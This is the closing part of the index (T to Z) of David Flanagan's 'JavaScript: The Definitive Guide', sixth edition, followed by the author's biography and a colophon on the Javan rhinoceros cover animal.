text( ) method, jQuery, 534
text-input form elements
browsers triggering input event on, 450
text-shadow property, 422
textAlign property, CanvasRenderingContext2D, 651, 872
<textarea> elements, 403
TextArea object, 994
textBaseline property, CanvasRenderingContext2D, 651, 873
textContent property, Node object, 380, 977
textLength property
TextArea object, 995
TextMetrics object, 651, 877, 995
TextRange object (IE), 408
tFoot property, Table object, 990
tHead property, Table object, 990
third dimension, z-index property, 422
this keyword
in event handlers, 401
function invocation context, 163
functions used as methods, 168
in method invocation, 168
nested function invoked as method or function, 169
as primary expression, 58
referring to global object, 42, 783
referring to target of event handlers, 461
removal or restriction in secure subsets, 267
use in property getters and setters, 130
threading
in client-side JavaScript, 322
FileReaders and, 698
IndexedDB operations and, 707
Web Workers specification, 680–687
debugging Worker threads, 686
Worker execution model, 683
Worker threads, 1008
WorkerGlobalScope object, 1009
3D graphics for <canvas> element, 631, 688
throw statements, 106
throw( ) method, generators, 280
time, 752
(see also dates and time)
Date.getTime( ) function, 766
UTC and GMT, 742
time( ) method, Console object, 883
timeEnd( ) method, Console object, 883
timeline, client-side JavaScript program execution, 323
timeout option, Geolocation methods, 934
timeout property, XMLHttpRequest object, 510, 1015
TimeRanges object, 619, 995
timers, 342–343
client-side timer functions implemented by Node, 297
methods available to WorkerGlobalScope object, 683
similarity to events, 449
using in inline scripting of CSS animation, 433–435
utility function for (example), 342
timeStamp property, Event object, 543, 918
timestamp property, Geoposition object, 935
title property
CSSStyleSheet object, 440, 887
Document object, 405, 894
Element object, 906
Link object, 963
Style object, 989
toArray( ) method, jQuery, 529
toDataURL( ), Canvas object, 656, 865
toDateString( ) method, Date object, 760
toElement property, Event object, 918
toExponential( ), Number object, 48, 804
toFixed( ), Number object, 48, 805
toggle buttons, 402
toggle( ) method
DOMTokenList object, 902

Download from Wow! eBook <www.wowebook.com>

jQuery, 541, 553
toggleClass( ) method, jQuery, 532
toGMTString( ) method, Date object, 761
toISOString( ) method, Date object, 761
toJSON( ) method, 139
Date object, 138, 762
implementation in classes, 220
token lists, DOM, 901
toLocaleDateString( ), Date object, 762
toLocaleLowerCase( ), String object, 850
toLocaleString( ) method, 139
Array object, 152, 738
Date object, 763
implementation in classes, 220
Number object, 806
Object class, 823
toLocaleTimeString( ), Date object, 763
toLocaleUpperCase( ), String object, 851
toLowerCase( ) method, String object, 851
tooLong property, FormValidity object, 932
top and left style properties, 421, 425
top property
ClientRect object, 880
Window object, 356, 1004
top, bottom, right, and left properties, 392
top, left, width, and height style properties, 424
top-level ancestor window, 354
top-level windows
null frameElement property, 357
parent property referring to self, 356
toPrecision( ), Number object, 48, 807
toStaticHTML( ) method (IE), 337
toString( ) method, 139
Array object, 152, 739
Boolean object, 741
converting boolean values to strings, 41
Date object, 763
Error object, 770, 771
Function object, 780
functions, 189
implementation in classes, 220
Location object, 343
Number object, 48, 807
Object class, 824
querying class attribute, 136
RegExp object, 834
Selection object, 408
String object, 851
type conversions with, 49
total property, ProgressEvent, 508, 984
toTimeString( ), Date object, 764
touchscreens, events, 456
toUpperCase( ) method, String object, 852
toUTCString( ) method, Date object, 764
trace( ) method, Console object, 883
transaction management in IndexedDB, 707
transform( ) method, CanvasRenderingContext2D objects, 641, 880
transformations
canvas coordinate system, 638–643, 869
transformation example, 641
understanding mathematically, 640
coordinate system in canvas
shadows and, 655
setTransform( ) method in canvas, 879
Transforms (CSS), 419
Transitions module (CSS), 419, 435
translate( ) method, CanvasRenderingContext2D, 638, 880
translucency, specifying with opacity style property, 428
translucent windows, overlapping with CSS (example), 429–431
transparency
compositing operations with hard and soft transparency, 657
specifying alpha values in canvas, 646
specifying for colors in CSS, 427
transports, 492
traversal of documents element-by-element, portable functions for, 373
tree structure
documents as trees of elements, 372–375
documents as trees of nodes, 371
geometrical, coordinate-based view of document versus, 390
representation of HTML documents, 362
trigger( ) function, 549
trigger( ) method, jQuery, 542, 547
triggerHandler( ) method, jQuery, 548
triggering events, 547
preventing jQuery from triggering Ajax-related events, 571
trim( ) function, 574
trim( ) method, String object, 852

true and false values, 45
try/catch/finally statements, 106
multiple catch clauses in, 283
Tufte, Edward, 663
Twitter search gadget, controlled by postMessage( ), 678–680
type (tag name), selecting HTML or XML elements by, 366
type attribute, <script elements>, 314
type property
Blob object, 863
CSSRule object, 886
CSSStyleSheet object, 887
Event object, 918
events, 446
form elements, 397, 400
FormControl object, 930
Script object, 985
Select element, 403
Style object, 989
TypedArray object, 996
TypeError object, 42, 853
property access errors, 123
raised by attempts to create or modify properties, 133
resulting from attempts to delete properties, 124
thrown in type conversions, 47
typeMismatch property, FormValidity object, 932
typeof operator, 62, 82, 210
applied to null and undefined values, 41
using with XML objects, 284
types (see data types)
types property, DataTransfer object, 477, 889

U

UI (user interface)
events, 448
Java, implementing using JavaScript in Rhino, 292
GUI example, 293–296
jQuery UI library, 585
Uint16Array class, 996
Uint32Array class, 996
Uint8Array class, 996
Uint8Array objects, 688
unary arithmetic operators, 68
unbind( ) method, jQuery, 546
undefined values, 29, 41, 854
properties set to, testing, 125
properties with, access errors, 123
property access expressions and, 60
returned by functions, 166
variables declared without initializer, 90
undelegate( ) method, jQuery, 549
deregistering event handlers for live events, 550
underflow, 33
unescape( ) function (deprecated), 855
Unicode, 21
characters, codepoints, and JavaScript strings, 36
codepoints, 481
escape sequences for, 22
format control characters, 22
in identifiers, 24
normalization of character encodings, 23
unit specification for CSS style properties, 429, 432
unlabeled continue statements, 104
unload events, 450
BeforeUnloadEvent object, 863
unmonitorEvents( ), ConsoleCommandLine object, 885
unobtrusive JavaScript, 311
unshift( ) method, Array object, 146, 152, 739
untyped variables, 31
unwrap( ) method, jQuery, 540
update( ) method, ApplicationCache object, 607, 860
upload progress events, 508
upload property, XMLHttpRequest object, 508, 1015
URIError object, 855
URIs
decodeURI( ) function, 766
decodeURIComponent( ) function, 767
encodeURI( ) function, 767
encodeURIComponent( ) function, 768
URL objects, 998
URL property
Document object, 343, 405, 894
Window object, 1004
url property
EventSource object, 921
StorageEvent object, 989
WebSocket object, 1000

URLs
blank-page URL, about:blank, 354
Blob, 695–697
displayed as current state of web application, 672
importScripts( ) function arguments, 682
JavaScript, 315
loading document and displaying portions of it with jQuery, 559
parsing, 343
relative, 344
subject of HTTP request, 496
URL object, 998
WebSocket, 713
wildcard, in network section of application cache manifest, 603
use strict directive, 110
user input
filtering, 482–484
text events, 481
user interface (see UI)
user-defined objects, 116
userAgent property
Navigator object, 347, 974
WorkerNavigator object, 1012
userData API (IE), 588
userData property
persistence, 599–601
UTC (Coordinated Universal Time), 742
UTC( ) method, Date object, 765

V

val( ) method, jQuery, 533
valid property, FormValidity object, 932
validation of forms
FormValidity objects, 932
mechanism in HTML5, 455
validationMessage, FormControl object, 930
validity property, FormControl object, 930
by value
comparisons of primitives, 44
value attribute (properties), 131
value attribute, cookies, 595, 596
value property
DOMSettableTokenList object, 901
form elements, 400
FormControl object, 931
Meter object, 973
Option object, 981
Progress object, 983
valueAsDate property, Input object, 944
valueAsNumber property, Input object, 944
valueMissing property, FormValidity object, 932
valueOf( ) method, 140
Boolean object, 741
Date object, 766
implementation in classes, 220
Number object, 808
Object class, 825
object comparisons, 223
String object, 852
type conversions with, 50
values, 4
functions as, 176–178
defining your own function properties, 178
values( ) method, ConsoleCommandLine, 885
var keyword, 52
replacing with let, 270
var statements, 90
varargs functions, 173
variable-length argument lists, 172
variables, 4
in array comprehensions, 281
creating with function keyword, 358
data types and, 31
declaring, 52
repeated and omitted declarations, 52
declaring with let, 270
destructuring assignment, 272
functions assigned to, 176
global, 25
scope, 53–56
function scope and hoisting, 54
scope chain, 55
variables as properties, 55
variable reference as primary expression, 58
versions, 269
<video> elements, 615
controls attribute, 616
events, 454
Video object, 998
videoHeight and videoWidth properties, Video object, 999
view property, Event object, 918
viewport

defined, 390
determining size of, 391
viewport coordinates, 390
element positions in, 392
visibility
partial visibility with overflow and clip style properties, 428
visibility property, 419, 426
visual effects
image rollovers, 614
jQuery methods for, 551, 956
jQuery methods for simple effects, 552
motion blur of canvas graphics with ImageData, 661
visual effects libraries, 435
void operator, 62, 85
forcing invocation or assignment expressions to be undefined, 316
volume
setting for media playback, 618
volume property, MediaElement, 968

W

W3C
XMLHttpRequest Level 2 standard (XHR2), 494
WAI-ARIA (Web Accessibility Initiative–Accessible Rich Internet Applications), 332
warn( ) method, Console object, 883
wasClean property, CloseEvent, 881
watchPosition( ) method, Geolocation object, 934
watchPosition( ), Geolocation object, 669
Web Accessibility Initiative–Accessible Rich Internet Applications (WAI-ARIA), 332
web applications, 12
JavaScript in, 310
loan calculator (example), 12–18
offline, 608–612
web browsers
asynchronous script execution, 324
<canvas> element support, 630
children property of Element objects, support of, 372
client-side databases integrated into, 588
compatibility and interoperability issues, 325
compositing operations in, 659
console tools, 3
CORS (“Cross-Origin Resource Sharing”) headers support, 511
CSS box model, 425
CSS box-sizing property, 426
CSS color specifications support, 427
CSS selector support, 370
CSS support, 416
current versions, 327
database support, 705
dataset property, not implemented, 378
DOMContentLoaded event, 465
editing document content, 409
element-by-element document traversal support, 373
event handlers directed at browser as a whole, 458
event listener registration methods, 321
EventSource support, 517
HTML5 form features and events, 455
HTTP progress events implementation, 507
implementation of CSS Transitions, 435
information about browsers and their screens, 346–348
input event type fired after text insertion into element, 484
insertAdjacentHTML( ) method support, 380
JavaScript in, 307–339
accessibility, 332
client-side frameworks, 338
compatibility and interoperability, 325–332
embedding JavaScript in HTML, 311–317
execution of JavaScript programs, 317–324
security, 333–338
URLs, 315
web applications, 310
web documents, 310
JavaScript tools, 3
javascript: URLs, 316
jQuery.browser property, 571
keyIdentifier property in Chrome and Safari, 485
location and navigation, 343–345

mousewheel event support, 471
Navigator object, 346
opacity specifications, 428
prefixes for nonstandard CSS properties, 416
RegExp literals and object creation, 252
Safari on iPhone and iPad, 456
scope of localStorage, 590
scripting a modal dialog (example), 9
string indexing, 39
support for E4X, 274
support for object literal get and set syntax, 134
support of getElementsByClassName( ), 369
SVG support, 622
timeouts for HTTP requests, XHR2, 510
transformed into simple operating systems, 310
triggering input event on text-input form elements, 450
use of callable objects, 191
using JavaScript, 9
web applications stored on, 601
websites for compatibility information, 326
XMLHttpRequest readyState values, 498
web bugs, 492
web databases, 588
web documents
JavaScript in, 310
web fonts, 418
web pages, 12
scripting content, presentation, and behavior, 9
web sockets, 713–716
chat server using WebSockets and Node, 715
creating socket and registering event handlers, 713
creating WebSocket-based chat client, 714
Web Storage API, 455, 587, 705
web workers
Worker object, 1008
WorkerGlobalScope object, 1009
WorkerLocation object, 1011
WorkerNavigation object, 1012
Web Workers specification, 680–687
access to Blob URLs, 695
advanced worker features, 684
debugging workers, 686
making synchronous XMLHttpRequests in (example), 686
using synchronous filesystem API with worker threads, 704
worker for image processing (example), 684
Worker objects, 681
Worker scope, 682
WebGL, 631
webkitURL.revokeObjectURL( ) method, 697
WebSocket object, 999
wheel events (see mousewheel events)
wheelDelta properties, 471
wheelDelta property, Event object, 918
wheelDeltaX and wheelDeltaY properties, Event object, 918
which property, Event object, 451, 544, 918
while loops, 97
continue statements in, 104
whitespace
in JavaScript code, 22
matching with regular expressions, 254
wholeText property, Text node, 993
width and height properties
Canvas context objects, 637
Canvas object, 865
Image object, 941
ImageData object, 942
querying for element in jQuery, 535
Screen object, 985
Video object, 998
width and height style properties, 421, 425
width property
ClientRect object, 881
IFrame object, 940
TextMetrics object, 995
width( ) method, jQuery, 535
wildcard URL in application cache manifest, 603
willValidate, FormControl object, 931
window coordinates, 390
Window object, 42, 1001–1008
alert( ), confirm( ), and prompt( ) methods, 348
applicationCache property, 604
beforeprint and afterprint events, 455
close( ) method, 356
closed property, 356

constructors, 1004
dialogArguments property, 349
document property, 308, 361
entry point to client-side JavaScript, 307
event handlers, 1007
event handlers directed at browser as a whole, 458
event property, 460
features available to WorkerGlobalScope objects, 683
frameElement property, 357
frames property, 357
getComputedStyle( ) method, 436
getSelection( ) method, 408
length property, 357
load event, 465
localStorage and sessionStorage properties, 589
location property, 343
methods, 1004
name property, 354
navigator property, 346
offline and online events, 455
onbeforeunload event handler, 462
onerror property, 351, 450
  setting to a function, 321
onhashchange property, 672
onload event handler, 309
open( ) method, 354
  javascript: URL as argument, 315
opener property, 356
orientation property, 456
pageXOffset and pageYOffset properties, 391
parent property, 356
postMessage( ) method, 336, 677
  Twitter search gadget controlled by, 678–680
properties, 1001
screen property, 348, 984
scroll( ) method, 394
scrollTo( ) and scroll( ) methods, 394
setInterval( ) method, 342
setTimeout( ) method, 342
setting onload property to event handler function, 457
storage event, 455
top property, 356
URL property, 998
window property, Window object, 308, 1004
WindowProxy object, 359
windows, 341–360
  browser and screen information, 346–348
  browser location and navigation, 343–345
    loading new documents, 344
    parsing URLs, 343
  browser, JavaScript opening and closing, 333
  browser, same-origin policy and, 334
  browsing history, 345
  dialog boxes, 348–351
  document elements as properties of, 351
  error handling, 351
  events, 450
  multiple windows and frames, 353–360
    JavaSclript in interacting windows, 358
    opening and closing windows, 354–356
    relationship between frames, 356
  overlapping translucent windows (CSS example), 429–431
  querying scrollbar positions, 390
  querying viewport size, 391
  timers, 342–343
with statements, 108
  removal in secure subsets, 267
withCredentials, XMLHttpRequest, 511, 1015
Worker object, 681, 1008
Worker( ) constructor, 684
WorkerGlobalScope object, 682, 1009
  properties, 683
WorkerLocation object, 1011
WorkerNavigator object, 1012
wrap( ), wrapAll( ), and wrapInner( ) methods, jQuery, 539
wrapper objects, 43
writable attribute (properties), 116, 131
  extensible attribute used with, 137
write( ) method, Document object, 318, 324, 406, 898
writeFile( ) function, 299
writeFileSync( ) function, 299
writeln( ) method, Document object, 407, 898
ws:// or wss:// protocol, 713

X

XHR2, 494
  downloading URL contents as Blob, 694
  FormData API, 506

handling binary responses, 501
overrideMimeType( ) method, 501
progress events, 1017
timeout property, 510
XHTML
case sensitivity, 21
<script> elements, 312
SVG embedded in document, 623
XML
E4X (ECMAScript for XML)
introduction to, 283–287
ECMAScript for XML (E4X), 274
HTTP request encoded with XML document as body, 504
innerHTML property, use with XML elements, 379
namespaces, createElementNS( ) method, 382
optional in scripted HTTP, 493
outerHTML property, use of, 379
parsing HTTP response document with responseXML property, 500
processing instruction in a document, 982
querying and setting elements of documents, 376
SVG (Scalable Vector Graphics), 622
Text nodes in documents, 381
XML objects, 284
XMLHttpRequest API, 493
core portions and Level 2 draft (XHR2), 494
XMLHttpRequest object, 311, 1012
aborting requests and setting timeouts, 510
constants defining values of readyState property, 1013
cross-origin HTTP requests, 511–513
emulating EventSource with, 517–519
encoding request body, 502–507
event handlers, 1017
HTTP progress events, 507–510
HTTP requests and responses, 495
instantiating, 494
local files and, 495
making synchronous requests in Web Worker, 686
methods, 1015
POSTing plain text to a server, 497
posting user's chat messages to server, 516
properties, 1014
responseText property, 500
retrieving the response, 498–502
simulation by jqXHR object in jQuery 1.5, 565
specifying the request, 495
use by Ajax utility functions in jQuery, 561
Version 2 of specification, 455
XMLHttpRequest( ) constructor, 684
XMLHttpRequestUpload object, 1018
XMLList objects, 284
XSS (cross-site scripting), 336

Y

yield expressions, 280
yield keyword, 277
yieldForStorageUpdates( ), Navigator object, 975
YUI (in-house library of Yahoo!), 339

Z

z-index property, 422
zero-based indexing (strings and arrays), 36, 141

About the Author

David Flanagan is a programmer and writer with a website at *http://davidflanagan.com*. His other O'Reilly books include *JavaScript Pocket Reference*, *The Ruby Programming Language*, and *Java in a Nutshell*. David has a degree in computer science and engineering from the Massachusetts Institute of Technology. He lives with his wife and children in the Pacific Northwest between the cities of Seattle, Washington, and Vancouver, British Columbia.

Colophon

The animal on the cover of *JavaScript: The Definitive Guide*, sixth edition, is a Javan rhinoceros. All five species of rhinoceros are distinguished by their large size, thick armor-like skin, three-toed feet, and single or double snout horn. The Javan rhinoceros, along with the Sumatran rhinoceros, is one of two forest-dwelling species. The Javan rhinoceros is similar in appearance to the Indian rhinoceros, but smaller and with certain distinguishing characteristics (primarily skin texture).

Rhinoceroses are often depicted standing up to their snouts in water or mud. In fact, they can frequently be found just like that. When not resting in a river, rhinos will dig deep pits in which to wallow. Both of these resting places provide a couple of advantages. First, they give the animal relief from the tropical heat and protection from blood-sucking flies. (The mud that the wallow leaves on the skin of the rhinoceros also provides some protection from flies.) Second, mud wallows and river water help support the considerable weight of these huge animals, thereby relieving the strain on their legs and backs.

Folklore has long held that the horn of the rhinoceros possesses magical and aphrodisiac powers, and that humans who gain possession of the horns will also gain those powers. This is one of the reasons why rhinos are a prime target of poachers. All species of rhinoceros are in danger, and the Javan rhino population is the most precarious. Fewer than 100 of these animals are still living. At one time, Javan rhinos could be found throughout southeastern Asia, but they are now believed to exist only in Indonesia and Vietnam.

The cover image is a 19th-century engraving from the Dover Pictorial Archive. The cover font is Adobe ITC Garamond. The text font is Linotype Birka; the heading font is Adobe Myriad Condensed; and the code font is LucasFont's TheSans Mono Condensed.